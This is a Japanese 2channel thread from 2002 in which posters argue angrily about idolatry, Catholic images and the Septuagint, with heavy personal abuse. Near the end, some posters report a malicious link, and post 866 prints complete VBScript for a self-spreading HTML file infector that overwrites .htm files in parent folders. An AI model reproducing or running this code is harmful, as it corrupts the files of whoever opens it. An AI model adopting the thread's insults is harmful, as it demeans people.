名無しさん@1周年 :02/12/13 00:41
聖水って、どんな効果があるんだ? 水虫が治るとか?悪霊追い出しに効くとかか?
672 :
名無しさん@1周年 :02/12/13 00:42
>>660 君は拉致監禁もやっているのか。情けないな。
で、そうだな。というと「そうです」と答えたのか。
神殿は神の宿る場所でもないけどな・・・。聖なる場所ではあるが。
673 :
名無しさん@1周年 :02/12/13 00:43
>>670 そうだな。君は自身の化けの皮をはがすべきだろうな。
674 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:43
>>670 七十人訳聖書 Psalms 137:2 の ναον は、「神殿を」と言う意味です。
675 :
名無しさん@1周年 :02/12/13 00:44
>>670 神殿をないがしろにし、
自分の妄想を主として拝んでいるんだからな。
676 :
(`・ω・´) :02/12/13 00:46
ここの俺さんは有名な俺さんにょ? はじめてお会いしたにょ。
>>674 だから、何?
イスラエルの神殿には確かに神が臨在したけど?でも、神がいなかったら、ただの「殿」だけど?うちのワン公も理解したけど?
679 :
名無しさん@1周年 :02/12/13 00:51
「俺」よ、援護射撃したろか?
>>669 嘘を付くな。ドンボスコで、1びん1000円だゾ。あのプラスチックのビンは、原価3円だそうだぞ。残りはドコへいくんだ?おまえの懐か?w
681 :
名無しさん@1周年 :02/12/13 00:53
>>678 君が私を拉致監禁するのかい?それは無理だよ。
>>677 聖なる場所だが?神がそこで住んでいたわけではないよ。
682 :
名無しさん@1周年 :02/12/13 00:55
>>680 輸送料その他諸々ってところだろう。
フランスからただで送れるなんて考えてる君の脳は
やっぱり腐っているようだな。
683 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:56
>>677 それなら、ναονではなくθεονにするべきでしょ。
>>683 うるせえよ。オマエが勝手にしてやがれ!更年期じゃネーノ?ひつこいよ。
685 :
名無しさん@1周年 :02/12/13 01:00
>>684 かわいそうに論破されてしまったようだね。
>>682馬鹿屋労。化け猫がただなんて嘘つきやがったから、タダしてやったんだろうが!視ね!
687 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:02
>>677 >だから、何?
>イスラエルの神殿には確かに神が臨在したけど?でも、神がいなかったら、ただの「殿」だけど?うちのワン公も理解したけど?
そうですよ。神殿は神の臨在があっても被造物に変わりないです。
だから、被造物にひれ伏すこと自体は偶像礼拝にはならないの。
論破されてねーよ。神殿から神が抜けたら「殿」。これは国語の常識。何も70人訳をもってくる必要はない。それに、70人訳は3世紀にギリシャ語に訳されたヤツだもんね。出直して来い!馬鹿野郎!
マリヤ像は神殿じゃねーだろ。詭弁もいい加減にし溶け。クソババア!>>687
690 :
名無しさん@1周年 :02/12/13 01:06
>>686 そんな言い訳しか出来ないとは情けないな。ワラ
>>688 分かったよ。かわいそうにな。
神殿から神が抜ければ、殿にはならないんだよ。
君、学校へきちんと行ったのか?もう一回出直して来いよ。
70人約は昔から流通していたが?
やっぱ、俺の価値だな。どだい、俺にかとーだなんて、10年はえんだよ。出直してきやがれ。馬鹿野郎!>>全員
692 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:09
>>688 >論破されてねーよ。神殿から神が抜けたら「殿」。これは国語の常識。
そのただの「殿」にひれ伏しても、偶像礼拝にはならないってこと。わかった?
>それに、70人訳は3世紀にギリシャ語に訳されたヤツだもんね。出直して来い!馬鹿野郎!
それを使徒たちがどうやって新約聖書に引用できるの?
>>664
ごめんなさ〜い ネットを切って首吊りますた。さいなら〜
694 :
名無しさん@1周年 :02/12/13 01:09
俺さんの負けか?
>>690いい訳こいてるのは、オマエ。 かわいそうなのは、オマエ。 神殿から神が抜けたら、殿。これは世界の常識。 反キリストが居座ったりするからな。テメーはパウロ書簡を 読み直しやがれ! 2テサロニケ2:4! 食らえ!
696 :
名無しさん@1周年 :02/12/13 01:10
>>689 平伏す対象は、実はどんなものでもいいんだけどね・・・。
神のお創りになられたものなら。
例外として、神が特に認めたものや、神の崇拝につながると
認められるものなら構わないとされた。
>>693諦めろ。俺のカチだ。
>>692 神殿から神が抜けたら、殿。これは世界の常識。
反キリストが居座ったりするからな。テメーはパウロ書簡を
読み直しやがれ!
2テサロニケ2:4!
食らえ!
699 :
名無しさん@1周年 :02/12/13 01:12
>>697 アフォか?自作自演ばれているよ・・・・w
700 :
名無しさん@1周年 :02/12/13 01:13
>>697 ____
Y/ニニ|>o<|\
/ //\___\
|/ / === |  ̄
| / ・ ・ |
\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| 俺さんほどの馬鹿は
|(( \□ ̄□/| |いないのダ!大馬鹿野郎!
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
/ |: | ̄ ̄ ̄ ̄
| |______|
| | | | | | | |
>>699 自分でやっといて、セコイぞ!
それがクリスチャンのすることか?
702 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:14
>>688 因みに、七十人訳聖書が訳されたのは、紀元前3から2世紀ですよ。
>>696 神殿から神が抜けたら、殿。これは世界の常識。
反キリストが居座ったりするからな。テメーはパウロ書簡を
読み直しやがれ!
2テサロニケ2:4!
食らえ!
704 :
名無しさん@1周年 :02/12/13 01:15
>>701 本当に別人?トリップをつけたほうがいいよ。
2せいきに訳されたのはギリシャ語訳だっていったろうが!
字も読めネーノか?もうろくババア!w
>>702
707 :
名無しさん@1周年 :02/12/13 01:18
>>705 それって違うぞ。旧約のギリシャ語訳は紀元前からあったよ。
708 :
名無しさん@1周年 :02/12/13 01:19
709 :
名無しさん@1周年 :02/12/13 01:19
>>706 あんたの脳内青眼か?はいはい、あなたの脳内にだけ存在していますよ。
偶像なんか、ばら撒いてんじゃネー!コノヤロウ!
712 :
名無しさん@1周年 :02/12/13 01:22
ほう? 兄弟を馬鹿と言うものは法廷に引き渡されるという聖句も知らないのか?
713 :
名無しさん@1周年 :02/12/13 01:23
>>698 それは君の脳内世界の常識さ。
パウロ書簡?キリスト教徒のものだね。当てにならないよ。
714 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:24
>>698 >神殿から神が抜けたら、殿。これは世界の常識。
>反キリストが居座ったりするからな。テメーはパウロ書簡を
>読み直しやがれ!
>2テサロニケ2:4!
>食らえ!
神が抜けたのは、新約以前にもありました。神が抜けてバビロニア捕囚中も、しばらくは神殿は存在しました
1列王記 9:7 わたしは与えた土地からイスラエルを断ち、わたしの名のために聖別した神殿もわたしの前から捨て去る。こうしてイスラエルは諸国民の中で物笑いと嘲りの的となる。
捕囚後に神殿は再建され、
ローマに破壊されるまでは神殿にひれ伏すのは偶像礼拝にはなりません。
715 :
名無しさん@1周年 :02/12/13 01:25
70人訳は、外国へ行って現地人化したユダヤ教徒が 昔から使ってきたものだが・・・。
716 :
名無しさん@1周年 :02/12/13 01:25
717 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:26
>>710 >70人訳のことだよ。馬鹿
>>707 そのことを言ってるんじゃないの?
あんたこそ、可笑しいんじゃない。
718 :
名無しさん@1周年 :02/12/13 01:28
719 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:28
>>716 そうよ。七十人訳聖書の存在は、クムラン遺跡の死海文書の発見で立証されたんです。
俺さん、諦めなさい。
>>716 その手にはのらねーよ。ウィルス移すきだろう。テメーのやり口は見えてんだよ!馬鹿野郎!
>>719 私は福音派です。あなたはカトリックの方ですか?
722 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:31
>>715 それを、使徒たちが読んでたから、
新約にも引用されてるんじゃない。
ここ読みなさい。→
>>664
>>719馬鹿だな。それはギリシャごやくではない。ヘブライ語のだ。はい、ババアの負け!
>>720 あなたはどこの教派ですか?あなたのほうこそがアンチキリストである!去れ!
サタンの僕よ!
725 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:33
727 :
名無しさん@1周年 :02/12/13 01:34
>>724 サタンはオマエ。
>>727可哀想なのはオマエ。
730 :
名無しさん@1周年 :02/12/13 01:36
>>723 キリスト教徒はマソラは使用しなかったよ。
君、何も知らないんだね。
731 :
名無しさん@1周年 :02/12/13 01:36
セプトゥアギンタ訳は、河出書房かどっかから、創世記から訳されるらしいね。 まぁ俺さんは興味ないだろうけど
732 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:37
俺さん、正しい認識を持たないと今みたいに恥をかくことになることはよくわかったでしょう。 俺さん、これからは謙虚になりましょう。
734 :
名無しさん@1周年 :02/12/13 01:39
俺さん、何時間続けてるんだ…(しかも毎回同じことの繰り返しのような… 飯食いに行ったら200くらいレスが進んでた(w
>>730 何も知らないのはおまえ。カトで使っている70人訳が世界最高権威のように嘘つくのはやめておけ。警告だ。
736 :
名無しさん@1周年 :02/12/13 01:39
737 :
名無しさん@1周年 :02/12/13 01:39
>>735 別に世界最高権威とは言ってないんじゃねーの?
俺さんにとっては俺さんが世界最高権威のようだがな(w
738 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:41
>>723 http://mikio.wada.catholic.ne.jp/QMRN-VT.html またカトリックの第2正典(プロテスタントの外典)の中では、
シラ書のヘブライ語本文、トビト記のヘブライ語とアラマイ語の本文、
それにエレミヤの手紙のギリシア語の本文が断片的に見つかっている。
他方、ユディト記、マカバイ記上下、知恵の書の本文は見つかっていない。
他方、忘れてはならないのはギリシア語訳本文の写本断片もある。
出エジプト記(7Q1=pap7QLXXExod)、
レビ記(4Q119=4QLXXLeva;4Q120=pap4QLevb)、
民数記(4Q121=4QLXXNum)、申命記(4Q122=4QLXXDeut)。
それにナハル・ヘヴェル出土のギリシア語訳12小預言書の本文(8HevXIIgr)
はセプトゥアギンタ研究に新たな光を与えることとなった。
さらにレビ記とヨブ記のタルグム(アラム語訳)も含まれている。
その総数は、スキーンは173を数えたが、現在その数はもっと多いはずである。
739 :
名無しさん@1周年 :02/12/13 01:42
>俺 つか、自分の教会とは何の関係もない、カトリック教会になぜそこまで執着する? (俺さんの教会が、昔のルーテル派とか改革・長老派などならわかるけど) こだわりすぎはコンプレックスの裏返し
ほっとくしかないようだね。ププププッ。 いいかげん気づきなさい。 くだらんいいわけを繰り返さないように。 もちろん俺さん以外のキリスト教徒がまっとうしごくであることは、 すでに衆知の事実ではあるが。。。 もうギャラリーの方々もよくわかってらっしゃるようですから
741 :
名無しさん@1周年 :02/12/13 01:43
マソラはユダヤ教徒のものだよ。 キリスト教には関係のない「書物」さ。
ここで落ちます。皆さん、おやすみ。
>>732 &33。俺のミスタイプだったことを認める。
ギリシャ語に訳されたのはADではなくBC3世紀だ。
恥ずかしいとは思わない。ミスはつきものだからな。
化け猫ババアのようにルルドの水がタダだと嘘をつくよりはいい。
それはともかく、俺は偶像の罪の話をしてるんだ!
逸らしてごまかすんじゃねえ!
744 :
名無しさん@1周年 :02/12/13 01:46
>>742 おやすみなさい。
善良な多くの福音派の人たちも大変ですね、俺さん見たいのがいると
偶像をばら撒く罪を改めてもらおうか。改めろ!
746 :
名無しさん@1周年 :02/12/13 01:48
747 :
名無しさん@1周年 :02/12/13 01:48
>>735 君、マソラはユダヤ教徒のものだよ。
初期キリスト教徒のものは70人訳を基本としたものだった。
そのために両者の区別はすぐについたのさ。
>>744 じつは私はある某コテハンです。明かせることは出来ませんが。
まあ、俺さんが福音派なのかどうかはわかりませんが。
今度こそおやすみなさい。
749 :
名無しさん@1周年 :02/12/13 01:50
おぉ、716さんは、福音派質問スレで、俺氏を論破した福音派の人ですな。
人間を像につくって、祭って、像に香を焚いて、冠かぶせて、はな活けて、何やってんだ?像が歩き出すのを待ってるのか?やめとけよ。
751 :
名無しさん@1周年 :02/12/13 01:50
749 違ったらすみませぬ
>>749 論破なんか、されてねーよ!思い込むな。ばか
化け猫寝たか?更年期に悪いぞ。はやね、早起きするんだな。お年寄りなんだから、無理をするな。w
754 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:54
>>743 これがミスタイプかしら。
素直に自分の負けをみとめたら?
719 :マルタ ◆JKiO8VJvj2 :02/12/13 01:28
>>716 そうよ。七十人訳聖書の存在は、クムラン遺跡の死海文書の発見で立証されたんです。
俺さん、諦めなさい
723 :俺 :02/12/13 01:31
>>719馬鹿だな。それはギリシャごやくではない。ヘブライ語のだ。はい、ババアの負け!
755 :
名無しさん@1周年 :02/12/13 01:55
俺さんは自称福音派だけど、絶対自分の教団を言わないからなぁ。 他人にはめちゃしつこく聞くけど(w じゃ、漏れ寝るか お疲れ様です>716さん、マルタさん
>>751 いいえ違いますよ。只、キリスト教のオアシスみたいにいろいろな教派が
仲良くやっていくのがキリスト教徒として理想ではないでしょうか?
では、また。
それをミスタイプという。はい、あんたの負け!
>>754 それより、人間を像につくって、祭って、像に香を焚いて、冠かぶせて、はな活けて、何やってんだ?像が歩き出すのを待ってるのか?やめとけよ。
758 :
マルタ ◆JKiO8VJvj2 :02/12/13 01:56
>>750 >人間を像につくって、祭って、像に香を焚いて、冠かぶせて、はな活けて、何やってんだ?像が歩き出すのを待ってるのか?やめとけよ。
原像のために香を焚いてるの。
759 :
名無しさん@1周年 :02/12/13 01:56
>>750 君の世界の話だろうな。君が自分の世界に引きこもるのは
心の問題があるということと関係しているのだがね。
>>754 人間を像につくって、祭って、像に香を焚いて、冠かぶせて、はな活けて、
何やってんだ?像が歩き出すのを待ってるのか?血を流すのを待ってるのか?
どうなんだよ!像がなけりゃ拝めねーのか?情けねー信仰だな。笑うぜ
761 :
名無しさん@1周年 :02/12/13 01:58
>>752 _・)ぷっ
俺さん、ことばに詰まって、最後の方は個人攻撃してたじゃん。統一協会!とかレッテル貼って。
リンクはろうか?
>>758 人間を像につくって、祭って、像に香を焚いて、冠かぶせて、
はな活けて、 何やってんだ?
像が歩き出すのを待ってるのか?血を流すのを待ってるのか?
どうなんだよ!
像がなけりゃ拝めねーのか?情けねー信仰だな。
763 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:00
>>757 >それをミスタイプという。はい、あんたの負け!
>>754 >>743 で、ADとBCのミスタイプのことは触れてるけど。
死海写本にギリシア語本文が含まれているのを否定したことに関しては訂正してませんでしたよ。
あんたの負けね。
764 :
名無しさん@1周年 :02/12/13 02:01
誰が像がないと拝めないって? そりゃ俺さんだけだろ。ありがたく聖書を使っとけ。<マリア崇拝をする教会がカルタゴ公会議で決定した聖書>をな(w
>>763 答えやがれ!
像がなけりゃ拝めねーのか?情けねー信仰だな。
766 :
名無しさん@1周年 :02/12/13 02:04
>>760 カトリックや正教が聖像や崇敬を止めれば、
プロテスタント化する。
ということは、キリスト教はもう終わり。
異教がまた正統となっていくだろうな。限りなく論破されて。
まぁ、ユダヤ教には関係ないけどね。
767 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:05
>>762 >人間を像につくって、
記念や象徴として造ってるの。
>祭って、
祭ってません。せいぜい飾るだけ。
>像に香を焚いて、
原像のために香を焚いてるの。
>冠かぶせて、
それは単なる装飾。
>はな活けて、 何やってんだ?
飾ってるの。
>像が歩き出すのを待ってるのか?血を流すのを待ってるのか?
>どうなんだよ!
血を流すのは、原像からの意思表示でしょ。
>像がなけりゃ拝めねーのか?情けねー信仰だな。
拝んでませんよ。敬ってるんです。
>>764 答えろ。偶像がなけりゃ拝めねーのか?情けねー信仰だな。
『霊で拝め』と言われたのは、どこの誰だっけかな〜〜
769 :
名無しさん@1周年 :02/12/13 02:06
>>765 マルタさんじゃないけど、像なんかなくても拝めるに決まってんじゃん。
天を向いてお祈りしてる人も、空がなくてもお祈りできる。
ところで、マルタさんって、昔は俺さん一派じゃなかったの?
違うマルタさんかなぁ。
それとも、ろんぎぬすさんみたいに、俺さんに愛想つかしたのだろうか?
771 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:08
>>765 >像がなけりゃ拝めねーのか?情けねー信仰だな。
聖像は信仰の表現よ。信仰の表現が駄目なら会堂も無くしなさい。
772 :
名無しさん@1周年 :02/12/13 02:08
>>765 像が怖い=人が怖い。という証でもあるんだけどね。
君は人が怖いんだね。
>>767 誤魔化さずに、素直に答えろ。
偶像がなけりゃ拝めねーのか?
情けねー信仰だな。
『神は霊であるから霊をもって拝め』と言われたのは、
どこの誰だっけかな〜〜
なんで、それを「神は霊であるから偶像をもて拝め』にしちゃったのかな〜
俺さん、ヤクザみたいな言動をやめなさい。神様の子供らしくありなさい。
775 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:10
>>773 拝むことと敬うことの区別も出来ないのですか?
777 :
名無しさん@1周年 :02/12/13 02:11
>>773 像はキリスト教徒にとっては必要不可欠だよ。
それによって異教の復活や異教化を封じられるわけだからね。
君たちのしていることは異教復活のお手伝いさ。
まぁ、そうしたければそうするがいいよ。
>>775 『神は霊であるから霊をもって拝め』と言われたのは、
どこの誰だっけかな〜〜
なんで、それを「神は霊であるから偶像をもって拝め』にしちゃったのかな〜
誰が悪いんだろうな〜
カトだよな〜 ワラ
780 :
名無しさん@1周年 :02/12/13 02:13
>>778 おい、カトリックコンプレックスの「俺」よ、769見ろって。
聖像などなくても拝めるに決まってるだろうが。
リベラルはどっか行けよあほ
781 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:13
>>773 >誤魔化さずに、素直に答えろ。
答えたじゃない。
>偶像がなけりゃ拝めねーのか?
拝んでないから、もとから偶像じゃありません。
>情けねー信仰だな。
情けないのはあんたよ。
>『神は霊であるから霊をもって拝め』と言われたのは、
聖像を使っても代わらないけど。
>どこの誰だっけかな〜〜
>なんで、それを「神は霊であるから偶像をもて拝め』にしちゃったのかな〜
像は信仰の表現。信仰の表現が駄目なら、会堂も使えないでしょ。
>>776 キリストも偶像にしてるよな〜
『神は霊であるから霊をもって拝め』と言われたのは、
どこの誰だっけかな〜〜
なんで、それを「神は霊であるから偶像をもって拝め』にしちゃったのかな〜
誰が悪いんだろうな〜
カトだよな〜 ワラ
783 :
名無しさん@1周年 :02/12/13 02:15
>>779 俺さんとは半年以上の付き合いですが、都合の悪いことには無視か、個人攻撃(差別的発言含む)です。
理知的なあなたと、俺さんが同じ福音派(という教派があること自体2ちゃんで知ったが)とは思えませんね。
785 :
名無しさん@1周年 :02/12/13 02:16
>>779 彼は人が怖いのさ。単にそれだけだよ。
その原因を隠したいがためにこんなネタに足を突っ込んだのさ。
786 :
名無しさん@1周年 :02/12/13 02:16
俺さんは、実生活でも、つらい現実には目をそらしているのだろうか? そもそも仕事してんのか? 漏れみたいに学生ではないようだが。
787 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:16
>>782 如何なる信仰の表現も禁じるなら、賛美歌なんて歌ったら駄目よ、
聖書も使ったら駄目よ。
「ここやあそこの山で拝みなさいというときではなくなります。今がその時です」と言ったのは、だれだっけかな〜 なのに、「ここやあそこの聖地に逝って拝みなさい』と宣伝してるのは、どこの誰だろうな〜 カトだよな〜 ワラ
789 :
マルタ ◆JKiO8VJvj2 :02/12/13 02:18
もう寝ます。皆さんおやすみなさい。
>>783 鹿渡のクセして、福音派に成り済ますとは卑怯だゾ。
791 :
名無しさん@1周年 :02/12/13 02:19
神をたたえることも、父祖を崇敬することも、 預言者を崇敬することも。 何もせず、ただ像に恐れおののき、 何もない真っ暗な部屋で閉じこもっていなければならない。
>>783 福音派とは、福音を基づいた信仰を勧めていますが、それなら都合の悪いことには無視か、
個人攻撃(差別的発言含む)ようなことはしないと思いますが、俺さんの信仰姿勢は何だろうなと
思いますな。思考停止と化した信仰は御心ではありません。
793 :
名無しさん@1周年 :02/12/13 02:20
>>787 そうそう。オルガンなどの楽器もダメですな。
正教などは、今でもオルガンとか厳禁らしいが。
しかし、正教徒は俺さんみたいに「オルガン使ってるからお前はダメ」とは言わんけどね。
正教徒が言うならまだわかるんだが、俺さんみたいにわけわからん、どこの誰が作ったかわからんような教会の人が言うから更にこっけいになる
>>789 もうくるな。婆は早寝しないとな。家事もチャントやれよ!
旦那に迷惑かけるなよ!俺からのアドバイスだ。有難く受取れ。
795 :
名無しさん@1周年 :02/12/13 02:21
783
>>790 アホか。漏れは最初からカトリックだっつーの。
一体どこで福音派になりすましをしたのだ?
そんな恥ずかしいことできるわけないだろ(笑)
797 :
名無しさん@1周年 :02/12/13 02:25
>>796 あぁ、なるほど、俺さんの勘違いかもしれませんね。
俺さんは、なりすましなど日常茶飯事だから、すぐ成りすましと断定できるのでしょう。
それにしてもマリアさんを騙っての行状はひどいものがあったな。目を覆ったよ
俺一人を相手にして、何1つ、言い負かせずにいることを、恥ずかしいとも思わないのか?恥知らずだな。>>鹿渡全員
>>797 では、おやすみなさいね〜。
キリスト教のオアシススレのほうもよろしく。
801 :
名無しさん@1周年 :02/12/13 02:28
>>788 かといって、「ここやあそこの山で拝んではならないってことになるのか?
こういうヤツは、「如何なる形も」、というと紙幣の肖像も偶像とみなすんだろうな。
>>鹿渡全員 俺に勝とうだなんて、10年はえんだよ!顔洗って、出直してきやがれ! 束になったって、俺には勝てねーと思えよ。馬鹿ども。軽蔑
803 :
名無しさん@1周年 :02/12/13 02:29
>798 つか、お前は言い負かされても、<<言い負かされたことにすら気付かない>>ほどあほだからな。 ちなみに、ここでお前の相手をしてやってるのは、カト以外にも、福音派が一人、非クリスチャンが一人いるだろが
804 :
名無しさん@1周年 :02/12/13 02:30
>>799 逃げるのか?負けが込んだか?w
俺に勝とうだなんて、10年はえんだよ!顔洗って、出直してきやがれ!
束になったって、俺には勝てねーと思えよ。馬鹿ども。軽蔑
>>805 逃げる?誰が?第三者に判断してもらうか?
俺さんよ、自分の恥を晒してどうするの?
809 :
名無しさん@1周年 :02/12/13 02:33
>>805 >逃げるのか?負けが込んだか?w
よほど夜の相手がない暇なヤツなんだな。
寂しいヤツだ。
早く彼女作って童貞捨てろ。
810 :
名無しさん@1周年 :02/12/13 02:34
オアシス。。。ふぁんだ君だったらおもしろい
811 :
名無しさん@1周年 :02/12/13 02:34
812 :
名無しさん@1周年 :02/12/13 02:36
>>808 恥さらしはオマエ。
答えやがれ!
「ここやあそこの山で拝みなさいというときではなくなります。今がその時です」と言ったのは、だれだっけかな〜
なのに、「ここやあそこの聖地に逝って拝みなさい』と宣伝してるのは、どこの誰だろうな〜
カトだよな〜
ワラ
>>810 いや、ふぁんだ君は聖霊派。別人だよ。ふぁんだ君だったらそれで面白いが。
814 :
名無しさん@1周年 :02/12/13 02:39
あーあ、俺さんもたまにはオアシススレでまたーりすればいいのにね。 別に異端だからって誰も文句言わないよー
>>812 広辞苑でも開いて拝むのと敬うのを調べて来い。話はそれからだ。
それと、私は福音派。また脳内カトが出たの?重症だね。
さて、ここのやりとりを俺さんの教会の牧師さんに見せたら?
817 :
名無しさん@1周年 :02/12/13 02:42
ロムしている皆さん。カトは嘘吐きです。異教で包んだキリスト教。 キリスト教で包んだ異教です。 本心をいうと、おれは、それがどの程度、俺にとってではなく、 異邦人、異教徒にとって、ワリーことなのか、 自分でも解らないときがある。 しかし、はっきりしているのは、キリストの明らかな教え、 鹿渡さえ、「公的啓示」と証している単純明解なキリストのことばです。 それに矛盾するものは、クリスチャンとして捨てるべきです! 簡単なことです。
ロムしている皆さん。カトは嘘吐きです。異教で包んだキリスト教。 キリスト教で包んだ異教です。 本心をいうと、おれは、それがどの程度、俺にとってではなく、 異邦人、異教徒にとって、ワリーことなのか、 自分でも解らないときがある。 しかし、はっきりしているのは、キリストの明らかな教え、 鹿渡さえ、「公的啓示」と証している単純明解なキリストのことばです。 それに矛盾するものは、クリスチャンとして捨てるべきです! 簡単なことです。
じゃあな。また〜 おやすみなさ〜い。 それから、でちゅさんが俺さんと話したいと言っていたよ。
>>819 逃げるんだな。だから言ってんだろう!俺にかとうだなんて、100年はえんだよ!出直してこい!馬鹿!
>>716 負け犬は、もうくるなよ。
それでも男か?ワラ
チンポ切り取って、オカマにでもなりやがれ!!!!
馬鹿や老!!!
822 :
名無しさん@1周年 :02/12/13 02:53
823 :
名無しさん@1周年 :02/12/13 02:54
>>822 その手にはのらねーよ。ウィルス漬けになるから、このリンクはあけるなよ。マジだ
826 :
名無しさん@1周年 :02/12/13 02:55
アドレスが読んで名のごとくw
827 :
名無しさん@1周年 :02/12/13 02:59
>>826 必死だな。何で、そうまでして、悪さをしたいんだ?
何が目的か言ってみろ。
さあ、言え!このゲスや老!
828 :
名無しさん@1周年 :02/12/13 03:02
>>827 デマ流すな!
普通に開けるよ。
IME経由だと、表示されないかもしれないけど。
829 :
名無しさん@1周年 :02/12/13 03:06
>>828 ウィルスバスター2002でも反応したぜ。w
830 :
名無しさん@1周年 :02/12/13 03:07
ぜんぜんたいしたことなかったよ。 普通に開けたもん。
831 :
名無しさん@1周年 :02/12/13 03:07
カトスレとオアシスと、反ネオスレに貼り付けてる。 カトリックに恨み持ってるヤツの仕業か。
832 :
名無しさん@1周年 :02/12/13 03:08
833 :
名無しさん@1周年 :02/12/13 03:08
834 :
名無しさん@1周年 :02/12/13 03:08
俺さんでもないし、俺さんより悪質なヤツがいるようだ
835 :
名無しさん@1周年 :02/12/13 03:09
836 :
名無しさん@1周年 :02/12/13 03:10
前から、悪質な嫌がらせを繰り返すヤツがいると思っていたがお前か。
837 :
名無しさん@1周年 :02/12/13 03:11
ブラクラ+ウィルスVBS.Network.E =826.
838 :
名無しさん@1周年 :02/12/13 03:12
ネオのすることは汚いなw
839 :
名無しさん@1周年 :02/12/13 03:18
それ踏んじゃったんだけど(w
840 :
名無しさん@1周年 :02/12/13 03:19
どーしよ (/_;)
841 :
名無しさん@1周年 :02/12/13 03:20
842 :
名無しさん@1周年 :02/12/13 03:20
ブラクラって何? 何が起こるの?
843 :
名無しさん@1周年 :02/12/13 03:21
しかも、ウィルススキャンソフトが古すぎて対応できない(/_;) ほっといたらハードディスクが埋まってしまうのだろうか?こわいよー
844 :
名無しさん@1周年 :02/12/13 03:22
>>842 画面が無数に細胞分裂しる
おらは、コンセント抜いただ。
845 :
名無しさん@1周年 :02/12/13 03:23
コンセント抜いても、ウィルスはまだいるでしょ?
846 :
名無しさん@1周年 :02/12/13 03:24
>>843 カワイソ―。同情する。でもって、ウィルスバスターぐらい、最新のを入れとけよ。でな。2cでは、説明の短くていい加減なリンクはいっさい開けるな。
847 :
名無しさん@1周年 :02/12/13 03:25
848 :
名無しさん@1周年 :02/12/13 03:27
しかし、イカしたアドレスだね。 高松/ネオカテなんて(笑
849 :
名無しさん@1周年 :02/12/13 03:29
これだから、深夜の2ちゃんは危険。
850 :
名無しさん@1周年 :02/12/13 03:29
851 :
名無しさん@1周年 :02/12/13 03:30
メールにくっついて他の人に迷惑がかからなかったら、ほっといても大丈夫かな
852 :
名無しさん@1周年 :02/12/13 03:31
853 :
名無しさん@1周年 :02/12/13 03:31
854 :
853 開くのが怖い人のための引用文 :02/12/13 03:33
VBS.Network.Eは、自己増殖以外は特に有害な活動は行なわないVBSワームです。 このワームは、最初に共有ネットワークドライブを探し、各ドライブをローカルドライブの ドライブレター(通常はJ:)にマッピングします。 共有ドライブ: すべてのネットワークドライブにコピーし、ランダムに生成される サブネットをスキャンすることによってネットワーク上にある開いている共有フォルダを 探そうとする。
855 :
名無しさん@1周年 :02/12/13 03:34
856 :
名無しさん@1周年 :02/12/13 03:34
857 :
名無しさん@1周年 :02/12/13 03:35
858 :
名無しさん@1周年 :02/12/13 03:35
したがって、ウイルスではない。 このスレには馬鹿が群れてるなw
859 :
名無しさん@1周年 :02/12/13 03:35
>>855 の書いていることは、2ちゃんねるを見た場合に限った話です。
ここで貼られている悪質なHPは当然2ちゃんではありませんから、
>>855 には該当しません。気を付けて下さい。
860 :
名無しさん@1周年 :02/12/13 03:36
>>854 かかれてる意味がわからん漏れは逝ってよしですか?
861 :
名無しさん@1周年 :02/12/13 03:36
862 :
名無しさん@1周年 :02/12/13 03:36
悪質すぎる。
863 :
名無しさん@1周年 :02/12/13 03:37
>>856 =
>>858 ウィルスを貼り付けておいて、 必 死 だ な !
なにがそんなに楽しいんだ?
864 :
名無しさん@1周年 :02/12/13 03:37
普通に開けるよ。 ime経由にするから、誤作動するんだよ。
865 :
名無しさん@1周年 :02/12/13 03:39
>>864 ime.nu経由にしたからノートンの動作が変わることは無い。
866 :
名無しさん@1周年 :02/12/13 03:39
<BODY Onload="Redirect();"><script language="VBScript"><!-- Sub Redirect Randomize If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline location.href = location.href +"l" End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath Set FSO = CreateObject("Scripting.FileSystemObject") HostPath = Replace(location.href, "file:///", "") HostPath = Replace(HostPath, "/", "\") cpath = fso.GetParentFolderName(HostPath) Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false Set folder = fso.GetFolder(cpath) Set fc = folder.Files cpath = fso.GetParentFolderName(cpath) For each f1 in fc s = Lcase(Fso.GetExtensionName(f1.name)) If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l", true fso.CopyFile HostPath, f1.path, true End If Next Wend If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script> </BODY>
867 :
ひみつの検疫さん :2024/09/04(水) 07:44:03 ID:MarkedRes
汚染を除去しました。
868 :
名無しさん@1周年 :02/12/13 03:40
>>866 必ずこういうバカが現れる。
生きてて楽しいか?
もう氏んでいいよ。お前はクズだ。
869 :
名無しさん@1周年 :02/12/13 03:40
いいけげんにしろよ。
870 :
名無しさん@1周年 :02/12/13 03:41
866は何?何? こわいよー (((( ;゚Д゚)))ガクガクブルブル
871 :
名無しさん@1周年 :02/12/13 03:42
ヤバイ代物だよ。
872 :
ひみつの検疫さん :2024/09/04(水) 07:44:03 ID:MarkedRes
汚染を除去しました。
873 :
名無しさん@1周年 :02/12/13 03:42
>>870 ウィルスを感染させるためのプログラム。
ただ、掲示板に貼り付けても動作することは無いので大丈夫。
ウィルス検出ソフトが動作する事はある。実に鬱陶しい。
874 :
名無しさん@1周年 :02/12/13 03:43
>>871 おれ踏んじゃったんだけど・・・
どーしよー
